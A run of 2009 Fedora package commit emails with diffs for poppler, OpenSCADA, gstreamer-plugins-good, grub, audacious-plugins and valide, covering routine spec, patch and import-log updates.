	poppler-0.12.1-objstream.patch 
Log Message:
diff -up poppler-0.12.1/poppler/XRef.cc.objstream poppler-0.12.1/poppler/XRef.cc
--- poppler-0.12.1/poppler/XRef.cc.objstream	2009-10-17 17:23:09.000000000 -0500
+++ poppler-0.12.1/poppler/XRef.cc	2009-10-19 08:29:24.552691208 -0500
@@ -69,37 +69,9 @@
 // ObjectStream
 //------------------------------------------------------------------------
 
-class ObjectStream {
-public:
-
-  // Create an object stream, using object number <objStrNum>,
-  // generation 0.
-  ObjectStream(XRef *xref, int objStrNumA);
-
-  GBool isOk() { return ok; }
-
-  ~ObjectStream();
-
-  // Return the object number of this object stream.
-  int getObjStrNum() { return objStrNum; }
-
-  // Get the <objIdx>th object from this stream, which should be
-  // object number <objNum>, generation 0.
-  Object *getObject(int objIdx, int objNum, Object *obj);
-
-private:
-
-  int objStrNum;		// object number of the object stream
-  int nObjects;			// number of objects in the stream
-  Object *objs;			// the objects (length = nObjects)
-  int *objNums;			// the object numbers (length = nObjects)
-  GBool ok;
-};
-
 ObjectStream::ObjectStream(XRef *xref, int objStrNumA) {
   Stream *str;
   Parser *parser;
-  int *offsets;
   Object objStr, obj1, obj2;
   int first, i;
 
@@ -107,6 +79,7 @@ ObjectStream::ObjectStream(XRef *xref, i
   nObjects = 0;
   objs = NULL;
   objNums = NULL;
+  offsets = NULL;
   ok = gFalse;
 
   if (!xref->fetch(objStrNum, 0, &objStr)->isStream()) {
@@ -128,6 +101,7 @@ ObjectStream::ObjectStream(XRef *xref, i
     goto err1;
   }
   first = obj1.getInt();
+  firstOffset = objStr.getStream()->getBaseStream()->getStart() + first;
   obj1.free();
   if (first < 0) {
     goto err1;
@@ -156,7 +130,7 @@ ObjectStream::ObjectStream(XRef *xref, i
       obj1.free();
       obj2.free();
       delete parser;
-      gfree(offsets);
+//       gfree(offsets);
       goto err1;
     }
     objNums[i] = obj1.getInt();
@@ -166,7 +140,7 @@ ObjectStream::ObjectStream(XRef *xref, i
     if (objNums[i] < 0 || offsets[i] < 0 ||
 	(i > 0 && offsets[i] < offsets[i-1])) {
       delete parser;
-      gfree(offsets);
+//       gfree(offsets);
       goto err1;
     }
   }
@@ -195,7 +169,7 @@ ObjectStream::ObjectStream(XRef *xref, i
     delete parser;
   }
 
-  gfree(offsets);
+  // gfree(offsets);
   ok = gTrue;
 
  err1:
@@ -212,6 +186,7 @@ ObjectStream::~ObjectStream() {
     delete[] objs;
   }
   gfree(objNums);
+  gfree(offsets);
 }
 
 Object *ObjectStream::getObject(int objIdx, int objNum, Object *obj) {
diff -up poppler-0.12.1/poppler/XRef.h.objstream poppler-0.12.1/poppler/XRef.h
--- poppler-0.12.1/poppler/XRef.h.objstream	2009-09-09 16:22:31.000000000 -0500
+++ poppler-0.12.1/poppler/XRef.h	2009-10-19 08:34:12.152684910 -0500
@@ -36,7 +36,43 @@
 class Dict;
 class Stream;
 class Parser;
-class ObjectStream;
+
+
+//------------------------------------------------------------------------
+// ObjectStream
+//------------------------------------------------------------------------
+
+class ObjectStream {
+public:
+
+  // Create an object stream, using object number <objStrNum>,
+  // generation 0.
+  ObjectStream(XRef *xref, int objStrNumA);
+
+  GBool isOk() { return ok; }
+
+  ~ObjectStream();
+
+  // Return the object number of this object stream.
+  int getObjStrNum() { return objStrNum; }
+
+  // Get the <objIdx>th object from this stream, which should be
+  // object number <objNum>, generation 0.
+  Object *getObject(int objIdx, int objNum, Object *obj);
+
+  int *getOffsets() { return offsets; }
+  Guint getFirstOffset() { return firstOffset; }
+
+private:
+
+  int objStrNum;		// object number of the object stream
+  int nObjects;			// number of objects in the stream
+  Object *objs;			// the objects (length = nObjects)
+  int *objNums;			// the object numbers (length = nObjects)
+  GBool ok;
+  int *offsets;			// the object offsets (length = nObjects)
+  Guint firstOffset;
+};
 
 //------------------------------------------------------------------------
 // XRef
@@ -123,6 +159,7 @@ public:
   int getSize() { return size; }
   XRefEntry *getEntry(int i) { return &entries[i]; }
   Object *getTrailerDict() { return &trailerDict; }
+  ObjectStream *getObjStr() { return objStr; }
 
   // Write access
   void setModifiedObject(Object* o, Ref r);


poppler-0.12.1-objstream.patch:
 XRef.cc |   37 ++++++-------------------------------
 XRef.h  |   39 ++++++++++++++++++++++++++++++++++++++-
 2 files changed, 44 insertions(+), 32 deletions(-)

Index: poppler-0.12.1-objstream.patch
===================================================================
RCS file: /cvs/pkgs/rpms/poppler/F-12/poppler-0.12.1-objstream.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- poppler-0.12.1-objstream.patch	19 Oct 2009 14:38:58 -0000	1.1
+++ poppler-0.12.1-objstream.patch	19 Oct 2009 14:40:14 -0000	1.2
@@ -93,17 +93,6 @@ diff -up poppler-0.12.1/poppler/XRef.cc.
 diff -up poppler-0.12.1/poppler/XRef.h.objstream poppler-0.12.1/poppler/XRef.h
 --- poppler-0.12.1/poppler/XRef.h.objstream	2009-09-09 16:22:31.000000000 -0500
 +++ poppler-0.12.1/poppler/XRef.h	2009-10-19 08:34:12.152684910 -0500
-@@ -1,8 +1,8 @@
- //========================================================================
- //
--// XRef.h
-+//XRef.h 
- //
--// Copyright 1996-2003 Glyph & Cog, LLC
-+//Copyright 1996-2003 Glyph & Cog, LLC
- //
- //========================================================================
- 
 @@ -36,7 +36,43 @@
  class Dict;
  class Stream;



From rdieter at fedoraproject.org  Mon Oct 19 14:40:59 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Mon, 19 Oct 2009 14:40:59 +0000 (UTC)
Subject: rpms/poppler/devel poppler-0.12.1-objstream.patch,1.1,1.2
Message-ID: <20091019144059.1E46311C02A6@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/poppler/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19319/devel

Modified Files:
	poppler-0.12.1-objstream.patch 
Log Message:
omit needless silly whitespace changes


poppler-0.12.1-objstream.patch:
 XRef.cc |   37 ++++++-------------------------------
 XRef.h  |   39 ++++++++++++++++++++++++++++++++++++++-
 2 files changed, 44 insertions(+), 32 deletions(-)

Index: poppler-0.12.1-objstream.patch
===================================================================
RCS file: /cvs/pkgs/rpms/poppler/devel/poppler-0.12.1-objstream.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- poppler-0.12.1-objstream.patch	19 Oct 2009 14:38:06 -0000	1.1
+++ poppler-0.12.1-objstream.patch	19 Oct 2009 14:40:58 -0000	1.2
@@ -93,17 +93,6 @@ diff -up poppler-0.12.1/poppler/XRef.cc.
 diff -up poppler-0.12.1/poppler/XRef.h.objstream poppler-0.12.1/poppler/XRef.h
 --- poppler-0.12.1/poppler/XRef.h.objstream	2009-09-09 16:22:31.000000000 -0500
 +++ poppler-0.12.1/poppler/XRef.h	2009-10-19 08:34:12.152684910 -0500
-@@ -1,8 +1,8 @@
- //========================================================================
- //
--// XRef.h
-+//XRef.h 
- //
--// Copyright 1996-2003 Glyph & Cog, LLC
-+//Copyright 1996-2003 Glyph & Cog, LLC
- //
- //========================================================================
- 
 @@ -36,7 +36,43 @@
  class Dict;
  class Stream;



From aleksey2005 at fedoraproject.org  Mon Oct 19 14:42:17 2009
From: aleksey2005 at fedoraproject.org (Popkov Aleksey)
Date: Mon, 19 Oct 2009 14:42:17 +0000 (UTC)
Subject: rpms/openscada/devel import.log,1.8,1.9 openscada.spec,1.13,1.14
Message-ID: <20091019144217.8B31B11C00DC@cvs1.fedora.phx.redhat.com>

Author: aleksey2005

Update of /cvs/pkgs/rpms/openscada/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19785/devel

Modified Files:
	import.log openscada.spec 
Log Message:
Release OpenSCADA 0.6.4


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/devel/import.log,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- import.log	13 Oct 2009 09:50:17 -0000	1.8
+++ import.log	19 Oct 2009 14:42:15 -0000	1.9
@@ -6,3 +6,4 @@ openscada-0_6_3_3-6_fc10:HEAD:openscada-
 openscada-0_6_3_3-7_fc10:HEAD:openscada-0.6.3.3-7.fc10.src.rpm:1245444161
 openscada-0_6_3_3-7_fc10:HEAD:openscada-0.6.3.3-7.fc10.src.rpm:1245447259
 openscada-0_6_4-1_fc11:HEAD:openscada-0.6.4-1.fc11.src.rpm:1255427409
+openscada-0_6_4-2_fc11:HEAD:openscada-0.6.4-2.fc11.src.rpm:1255963224


Index: openscada.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/devel/openscada.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- openscada.spec	13 Oct 2009 09:50:17 -0000	1.13
+++ openscada.spec	19 Oct 2009 14:42:16 -0000	1.14
@@ -68,7 +68,7 @@
 Summary: Open SCADA system project
 Name: openscada
 Version: 0.6.4
-Release: 1%{?dist}
+Release: 2%{?dist}
 Source0: ftp://oscada.org.ua/OpenSCADA/0.6.3/openscada-%version.tar.gz
 # Init scripts for fedora
 Patch0: oscada.init.patch
@@ -106,6 +106,8 @@ Requires(post): chkconfig
 Requires(preun): chkconfig
 Requires(preun): initscripts
 
+Obsoletes: %{name}-UI-QTVision
+
 %description
 Open SCADA system. For access use account "root" and password "openscada".
 %description -l ru_RU.UTF8
@@ -937,7 +939,7 @@ Requires:%{name}-UI-QTCfg = %{version}-%
 Requires:%{name}-UI-Vision = %{version}-%{release}
 %endif
 %if 0%{?with_uivcaengine}
-Requires:%{name}-UI-VCAEngane = %{version}-%{release}
+Requires:%{name}-UI-VCAEngine = %{version}-%{release}
 %endif
 # ############### Web Interfaces ########################
 %if 0%{?with_webcfg}
@@ -971,70 +973,70 @@ und das Kennwort "openscada" oder die An
 
 # ############################### Virtual Packages ###################################
 %package plc
-Summary: OpenSCADA PLC.
+Summary: OpenSCADA PLC
 Group: Applications/Engineering
-Requires: %name = %version-%release
-Requires: %name-Archive-FSArch
-Requires: %name-DAQ-BlockCalc
-Requires: %name-DAQ-ICP_DAS
-Requires: %name-DAQ-JavaLikeCalc
-Requires: %name-DAQ-LogicLev
-Requires: %name-DAQ-ModBus
-Requires: %name-DAQ-System
-Requires: %name-DB-SQLite
-Requires: %name-Protocol-HTTP
-Requires: %name-Protocol-SelfSystem
-Requires: %name-Special-FLibComplex1
-Requires: %name-Special-FLibMath
-Requires: %name-Special-FLibSYS
-Requires: %name-Transport-SSL
-Requires: %name-Transport-Serial
-Requires: %name-Transport-Sockets
-Requires: %name-UI-VCAEngine
-Requires: %name-UI-WebCfgD
-Requires: %name-UI-WebVision
+Requires: %{name} = %{version}-%{release}
+Requires: %{name}-ARH-FSArch
+Requires: %{name}-DAQ-BlockCalc
+Requires: %{name}-DAQ-IcpDas
+Requires: %{name}-DAQ-JavaLikeCalc
+Requires: %{name}-DAQ-LogicLevel
+Requires: %{name}-DAQ-ModBus
+Requires: %{name}-DAQ-System
+Requires: %{name}-DB-SQLite
+Requires: %{name}-Protocol-HTTP
+Requires: %{name}-Protocol-SelfSystem
+Requires: %{name}-Special-FlibComplex1
+Requires: %{name}-Special-FlibMath
+Requires: %{name}-Special-FlibSys
+Requires: %{name}-Transport-SSL
+Requires: %{name}-Transport-Serial
+Requires: %{name}-Transport-Sockets
+Requires: %{name}-UI-VCAEngine
+Requires: %{name}-UI-WebCfgd
+Requires: %{name}-UI-WebVision
 %description plc
-The %name-plc package is virtual package for PLC.
+The %{name}-plc package is virtual package for PLC.
 %description plc -l ru_RU.UTF8
-????? %name-plc ??? ??????????? ????? ??? ???.
+????? %{name}-plc ??? ??????????? ????? ??? ???.
 %description plc -l uk_UA.UTF8
-????? %name-plc ?? ??????????? ????? ??? ???.
+????? %{name}-plc ?? ??????????? ????? ??? ???.
 %description plc -l de_RU.UTF8
-????? %name-plc ist das Virtualpaket f?r PLC.
+????? %{name}-plc ist das Virtualpaket f?r PLC.
 
 %package server
-Summary: OpenSCADA server.
+Summary: OpenSCADA server
 Group: Applications/Engineering
-Requires: %name = %version-%release
-Requires: %name-DB-SQLite
-Requires: %name-DB-MySQL
-Requires: %name-DB-FireBird
-Requires: %name-DAQ-System
-Requires: %name-DAQ-BlockCalc
-Requires: %name-DAQ-JavaLikeCalc
-Requires: %name-DAQ-DiamondBoards
-Requires: %name-DAQ-LogicLev
-Requires: %name-DAQ-SNMP
-Requires: %name-DAQ-Siemens
-Requires: %name-DAQ-ModBus
-Requires: %name-DAQ-DCON
-Requires: %name-DAQ-DAQGate
-Requires: %name-DAQ-SoundCard
-Requires: %name-DAQ-ICP_DAS
-Requires: %name-Archive-FSArch
-Requires: %name-Archive-DBArch
-Requires: %name-Transport-Sockets
-Requires: %name-Transport-SSL
-Requires: %name-Transport-Serial
-Requires: %name-Protocol-HTTP
-Requires: %name-Protocol-SelfSystem
-Requires: %name-UI-VCAEngine
-Requires: %name-UI-WebCfg
-Requires: %name-UI-WebVision
-Requires: %name-WebCfgD
-Requires: %name-Special-FLibComplex1
-Requires: %name Special-FLibMath
-Requires: %name-Special-FLibSYS
+Requires: %{name} = %{version}-%{release}
+Requires: %{name}-DB-SQLite
+Requires: %{name}-DB-MySQL
+Requires: %{name}-DB-FireBird
+Requires: %{name}-DAQ-System
+Requires: %{name}-DAQ-BlockCalc
+Requires: %{name}-DAQ-JavaLikeCalc
+Requires: %{name}-DAQ-DiamondBoards
+Requires: %{name}-DAQ-LogicLevel
+Requires: %{name}-DAQ-SNMP
+Requires: %{name}-DAQ-Siemens
+Requires: %{name}-DAQ-ModBus
+Requires: %{name}-DAQ-DCON
+Requires: %{name}-DAQ-Gate
+Requires: %{name}-DAQ-Soundcard
+Requires: %{name}-DAQ-IcpDas
+Requires: %{name}-ARH-FSArch
+Requires: %{name}-ARH-DBArch
+Requires: %{name}-Transport-Sockets
+Requires: %{name}-Transport-SSL
+Requires: %{name}-Transport-Serial
+Requires: %{name}-Protocol-HTTP
+Requires: %{name}-Protocol-SelfSystem
+Requires: %{name}-UI-VCAEngine
+Requires: %{name}-UI-WebCfg
+Requires: %{name}-UI-WebVision
+Requires: %{name}-UI-WebCfgd
+Requires: %{name}-Special-FLibComplex1
+Requires: %{name} Special-FLibMath
+Requires: %{name}-Special-FlibSys
 %description server
 The %name-server package is virtual package for OpenSCADA-server.
 %description server -l ru_RU.UTF8
@@ -1045,7 +1047,7 @@ The %name-server package is virtual pack
 ????? %name-server ??? ??????????? ????? ??? ??????? OpenSCADA.
 
 %package visStation
-Summary: OpenSCADA visual station.
+Summary: OpenSCADA visual station
 Group: Applications/Engineering
 Requires: %name = %version-%release
 Requires: %name-DB-SQLite
@@ -1053,15 +1055,15 @@ Requires: %name-DB-MySQL
 Requires: %name-DAQ-System
 Requires: %name-DAQ-BlockCalc
 Requires: %name-DAQ-JavaLikeCalc
-Requires: %name-DAQ-LogicLev
+Requires: %name-DAQ-LogicLevel
 Requires: %name-DAQ-SNMP
 Requires: %name-DAQ-Siemens
 Requires: %name-DAQ-ModBus
 Requires: %name-DAQ-DCON
-Requires: %name-DAQ-DAQGate
-Requires: %name-DAQ-SoundCard
-Requires: %name-Archive-FSArch
-Requires: %name-Archive-DBArch
+Requires: %name-DAQ-Gate
+Requires: %name-DAQ-Soundcard
+Requires: %name-ARH-FSArch
+Requires: %name-ARH-DBArch
 Requires: %name-Transport-Sockets
 Requires: %name-Transport-SSL
 Requires: %name-Transport-Serial
@@ -1477,12 +1479,16 @@ desktop-file-install --dir=%{buildroot}%
 %endif
 
 %changelog
+* Fri Oct 16 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.4-2
+- Added of Obsoletes directive by Peter Lemenkov <lemenkov at gmail.com>.
+
 * Sun Oct 11 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.4-1
 - The change version for release 0.6.4
-- Moved Ui-VCAEngane module to the self package
+- Moved Ui-VCAEngine module to the self package
 - Removed QTStarter module from the main package
 - Added the virtual plc, server, visStation packages
-- Some cosmetics.
+- Some cosmetics
+- Fixed somes bugs Peter Lemenkov <lemenkov at gmail.com>.
 
 * Sun Oct 4 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.3.4-1
 - Adding self module ICP_DAS



From hadess at fedoraproject.org  Mon Oct 19 14:50:14 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Mon, 19 Oct 2009 14:50:14 +0000 (UTC)
Subject: rpms/gstreamer-plugins-good/F-11 gstreamer-plugins-good.spec, 1.102,
	1.103 pulsesink-lowering-volumes.patch, 1.2, 1.3
Message-ID: <20091019145014.CAEC811C02A4@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-good/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22187

Modified Files:
	gstreamer-plugins-good.spec pulsesink-lowering-volumes.patch 
Log Message:
* Mon Oct 19 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-4
- Fix pulsesink not advertising the StreamVolume interface



Index: gstreamer-plugins-good.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-good/F-11/gstreamer-plugins-good.spec,v
retrieving revision 1.102
retrieving revision 1.103
diff -u -p -r1.102 -r1.103
--- gstreamer-plugins-good.spec	17 Oct 2009 01:21:16 -0000	1.102
+++ gstreamer-plugins-good.spec	19 Oct 2009 14:50:14 -0000	1.103
@@ -6,7 +6,7 @@
 
 Name: 		%{gstreamer}-plugins-good
 Version: 	0.10.16
-Release:  	3%{?dist}
+Release:  	4%{?dist}
 Summary: 	GStreamer plug-ins with good code and licensing
 
 Group: 		Applications/Multimedia
@@ -279,6 +279,9 @@ export GCONF_CONFIG_SOURCE=`gconftool-2 
 gconftool-2 --makefile-install-rule %{_sysconfdir}/gconf/schemas/gstreamer-%{majorminor}.schemas > /dev/null || :
 
 %changelog
+* Mon Oct 19 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-4
+- Fix pulsesink not advertising the StreamVolume interface
+
 * Sat Oct 17 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-3
 - Finally fix pulsesink volume lowering problems (#488532)
 

pulsesink-lowering-volumes.patch:
 b/ext/pulse/pulsemixer.c     |   14 +-
 b/ext/pulse/pulsemixerctrl.c |   77 ++++++-----
 b/ext/pulse/pulsemixerctrl.h |   13 +
 b/ext/pulse/pulseprobe.c     |   27 +++
 b/ext/pulse/pulseprobe.h     |   13 +
 b/ext/pulse/pulsesink.c      |  299 +++++++++++++++++++++++++++++++++----------
 b/ext/pulse/pulsesink.h      |   14 +-
 b/ext/pulse/pulsesrc.c       |   54 ++++---
 b/ext/pulse/pulsesrc.h       |   10 -
 ext/pulse/pulsesink.c        |    3 
 10 files changed, 376 insertions(+), 148 deletions(-)

Index: pulsesink-lowering-volumes.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-good/F-11/pulsesink-lowering-volumes.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- pulsesink-lowering-volumes.patch	17 Oct 2009 01:21:16 -0000	1.2
+++ pulsesink-lowering-volumes.patch	19 Oct 2009 14:50:14 -0000	1.3
@@ -1106,3 +1106,31 @@ index 2358eba..be89434 100644
  };
  
  struct _GstPulseSrcClass
+From 2ab820fc251b9041cd82fdc01c68b8d450e5949c Mon Sep 17 00:00:00 2001
+From: Bastien Nocera <hadess at hadess.net>
+Date: Mon, 19 Oct 2009 15:21:57 +0100
+Subject: [PATCH] [pulse] Fix the StreamVolume interface not being advertised
+
+gst_pulsesink_interface_supported() was missing a check for it.
+
+https://bugzilla.gnome.org/show_bug.cgi?id=598933
+---
+ ext/pulse/pulsesink.c |    2 ++
+ 1 files changed, 2 insertions(+), 0 deletions(-)
+
+diff --git a/ext/pulse/pulsesink.c b/ext/pulse/pulsesink.c
+index 1fe2b72..f1907fe 100644
+--- a/ext/pulse/pulsesink.c
++++ b/ext/pulse/pulsesink.c
+@@ -1378,6 +1378,8 @@ gst_pulsesink_interface_supported (GstImplementsInterface *
+ 
+   if (interface_type == GST_TYPE_PROPERTY_PROBE && this->probe)
+     return TRUE;
++  if (interface_type == GST_TYPE_STREAM_VOLUME)
++    return TRUE;
+ 
+   return FALSE;
+ }
+-- 
+1.6.5.rc2
+



From pjones at fedoraproject.org  Mon Oct 19 14:50:45 2009
From: pjones at fedoraproject.org (Peter Jones)
Date: Mon, 19 Oct 2009 14:50:45 +0000 (UTC)
Subject: rpms/grub/F-12 grub-0.97-relocatable-kernel-on-x86_64-uefi.patch,
	1.2, 1.3
Message-ID: <20091019145045.27ACE11C02A4@cvs1.fedora.phx.redhat.com>

Author: pjones

Update of /cvs/extras/rpms/grub/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22337

Modified Files:
	grub-0.97-relocatable-kernel-on-x86_64-uefi.patch 
Log Message:
Make this patch actually build...


grub-0.97-relocatable-kernel-on-x86_64-uefi.patch:
 efimm.c               |   39 +++++++++++++++++++++++++++++++++++++++
 grub/efi/efi.h        |    1 +
 x86_64/loader/linux.c |   18 +++++++++++++++++-
 3 files changed, 57 insertions(+), 1 deletion(-)

Index: grub-0.97-relocatable-kernel-on-x86_64-uefi.patch
===================================================================
RCS file: /cvs/extras/rpms/grub/F-12/grub-0.97-relocatable-kernel-on-x86_64-uefi.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- grub-0.97-relocatable-kernel-on-x86_64-uefi.patch	19 Oct 2009 14:28:44 -0000	1.2
+++ grub-0.97-relocatable-kernel-on-x86_64-uefi.patch	19 Oct 2009 14:50:44 -0000	1.3
@@ -113,7 +113,7 @@ Index: grub-0.97/efi/x86_64/loader/linux
    /* Note that no boot services are available from here.  */
 +
 +  /* copy vmlinuz image to hdr.code32_start */
-+  memcpy ((char *)(params->hdr.code32_start), (char *)prot_mode_mem,
++  memcpy ((char *)(unsigned long)(params->hdr.code32_start), (char *)prot_mode_mem,
 +	  prot_kernel_size);
 +  /* copy switch image */
    memcpy ((void *) 0x700, switch_image, switch_size);



From mschwendt at fedoraproject.org  Mon Oct 19 14:56:49 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Mon, 19 Oct 2009 14:56:49 +0000 (UTC)
Subject: rpms/audacious-plugins/F-11
	audacious-plugins-1.5.1-pulseaudio-volume.patch, NONE,
	1.1 audacious-plugins.spec, 1.39, 1.40
Message-ID: <20091019145649.38F1E11C00DC@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacious-plugins/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23481

Modified Files:
	audacious-plugins.spec 
Added Files:
	audacious-plugins-1.5.1-pulseaudio-volume.patch 
Log Message:
* Mon Oct 19 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.5.1-12
- Patch pulseaudio plugin to not get confused by volume values passed
  in via callback.


audacious-plugins-1.5.1-pulseaudio-volume.patch:
 pulse_audio.c |   14 ++++++++++++++
 1 file changed, 14 insertions(+)

--- NEW FILE audacious-plugins-1.5.1-pulseaudio-volume.patch ---
There is no callback feature in Audacious < 2.2 that moves the UI's volume
slider when external volume controls are used. Hence stick to the internal
volume level and don't get confused when trying to save/restore external
volume levels.

diff -Nur audacious-plugins-1.5.1-orig/src/pulse_audio/pulse_audio.c audacious-plugins-1.5.1/src/pulse_audio/pulse_audio.c
--- audacious-plugins-1.5.1-orig/src/pulse_audio/pulse_audio.c	2008-05-24 00:44:20.000000000 +0200
+++ audacious-plugins-1.5.1/src/pulse_audio/pulse_audio.c	2009-10-19 16:46:47.527799161 +0200
@@ -83,6 +83,8 @@
 }
 
 static void info_cb(struct pa_context *c, const struct pa_sink_input_info *i, int is_last, void *userdata) {
+    return;  /* we don't do anything useful with this callback */
+
     assert(c);
 
     if (!i)
@@ -685,6 +687,18 @@
         goto unlock_and_fail;
     }
 
+    pa_operation_unref(o);
+    /* set initial volume */
+    if (!(o = pa_context_set_sink_input_volume(context, pa_stream_get_index(stream), &volume, NULL, NULL))) {
+        g_warning("pa_context_set_sink_input_volume() failed: %s", pa_strerror(pa_context_errno(context)));
+        goto unlock_and_fail;
+    }
+    while (pa_operation_get_state(o) != PA_OPERATION_DONE) {
+        CHECK_DEAD_GOTO(fail, 1);
+        pa_threaded_mainloop_wait(mainloop);
+    }
+    pa_operation_unref(o);
+
     do_trigger = 0;
     written = 0;
     time_offset_msec = 0;


Index: audacious-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/F-11/audacious-plugins.spec,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- audacious-plugins.spec	19 Sep 2009 14:06:53 -0000	1.39
+++ audacious-plugins.spec	19 Oct 2009 14:56:49 -0000	1.40
@@ -4,7 +4,7 @@
 
 Name:           audacious-plugins
 Version:        1.5.1
-Release:        11%{?dist}
+Release:        12%{?dist}
 Summary:        Plugins for the Audacious media player
 Group:          Applications/Multimedia
 
@@ -26,6 +26,7 @@ Patch5:         audacious-plugins-1.5.1-
 Patch6:         audacious-plugins-1.5.1-amidi-symbol.patch
 Patch7:         audacious-plugins-1.5.1-neon-reader-error-crash.patch
 Patch8:         audacious-plugins-1.5.1-sndfile-cleanup.patch
+Patch9:         audacious-plugins-1.5.1-pulseaudio-volume.patch
 
 # alsa-ng plugin from 2.1 devel up to 2.2 alpha1
 Patch50: audacious-plugins-1.5.1-alsa-ng.patch
@@ -177,6 +178,8 @@ vortex compressed files.
 # pause and seek for libsndfile input plugin
 %patch8 -p1 -b .sndfile-cleanup
 
+%patch9 -p1 -b .pulseaudio-volume
+
 %patch50 -p1 -b .alsa-ng
 %patch51 -p1 -b .alsa-ng2
 %patch52 -p1 -b .mixer-not-ready
@@ -275,6 +278,10 @@ update-desktop-database &> /dev/null || 
 
 
 %changelog
+* Mon Oct 19 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.5.1-12
+- Patch pulseaudio plugin to not get confused by volume values passed
+  in via callback.
+
 * Sat Sep 19 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.5.1-11
 - Patch alsa-ng plugin with some buffer prefilling to fight underruns.
 - Merge minor changes from 2.2 alpha1 alsa-ng plugin.



From bioinfornatics at fedoraproject.org  Mon Oct 19 14:57:44 2009
From: bioinfornatics at fedoraproject.org (MERCIER Jonathan)
Date: Mon, 19 Oct 2009 14:57:44 +0000 (UTC)
Subject: rpms/valide/devel import.log,1.4,1.5
Message-ID: <20091019145744.B889411C00DC@cvs1.fedora.phx.redhat.com>

Author: bioinfornatics

Update of /cvs/pkgs/rpms/valide/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23326/devel

Modified Files:
	import.log 
Log Message:

Update valaide to the newest version



Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/valide/devel/import.log,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- import.log	20 Jul 2009 17:14:13 -0000	1.4
+++ import.log	19 Oct 2009 14:57:44 -0000	1.5
@@ -2,3 +2,4 @@ valide-0_5_1-0_11_20090713svn278_fc11:HE
 valide-0_5_1-0_12_20090715svn280_fc11:HEAD:valide-0.5.1-0.12.20090715svn280.fc11.src.rpm:1247679623
 valide-0_5_1-0_13_20090715svn280_fc11:HEAD:valide-0.5.1-0.13.20090715svn280.fc11.src.rpm:1247684671
 valide-0_5_1-0_14_20090720svn291_fc11:HEAD:valide-0.5.1-0.14.20090720svn291.fc11.src.rpm:1248110015
+valide-0_5_1-0_18_20091019svn425_fc11:HEAD:valide-0.5.1-0.18.20091019svn425.fc11.src.rpm:1255964121



From bioinfornatics at fedoraproject.org  Mon Oct 19 15:05:48 2009
From: bioinfornatics at fedoraproject.org (MERCIER Jonathan)
Date: Mon, 19 Oct 2009 15:05:48 +0000 (UTC)
Subject: rpms/valide/F-12 .cvsignore, 1.5, 1.6 import.log, 1.4, 1.5 sources, 
	1.5, 1.6 valide.spec, 1.7, 1.8
Message-ID: <20091019150548.225D111C00DC@cvs1.fedora.phx.redhat.com>

Author: bioinfornatics

Update of /cvs/pkgs/rpms/valide/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25334/F-12

Modified Files:
	.cvsignore import.log sources valide.spec 
Log Message:

Update Valaide to the newest release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/valide/F-12/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	28 Jul 2009 23:03:31 -0000	1.5
+++ .cvsignore	19 Oct 2009 15:05:46 -0000	1.6
@@ -1 +1 @@
-valide-20090726svn303.tar.gz
+valide-20091019svn425.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/valide/F-12/import.log,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- import.log	20 Jul 2009 17:14:13 -0000	1.4
+++ import.log	19 Oct 2009 15:05:46 -0000	1.5
@@ -2,3 +2,4 @@ valide-0_5_1-0_11_20090713svn278_fc11:HE
 valide-0_5_1-0_12_20090715svn280_fc11:HEAD:valide-0.5.1-0.12.20090715svn280.fc11.src.rpm:1247679623
 valide-0_5_1-0_13_20090715svn280_fc11:HEAD:valide-0.5.1-0.13.20090715svn280.fc11.src.rpm:1247684671
 valide-0_5_1-0_14_20090720svn291_fc11:HEAD:valide-0.5.1-0.14.20090720svn291.fc11.src.rpm:1248110015
+valide-0_5_1-0_18_20091019svn425_fc11:F-12:valide-0.5.1-0.18.20091019svn425.fc11.src.rpm:1255964491


Index: sources
===================================================================
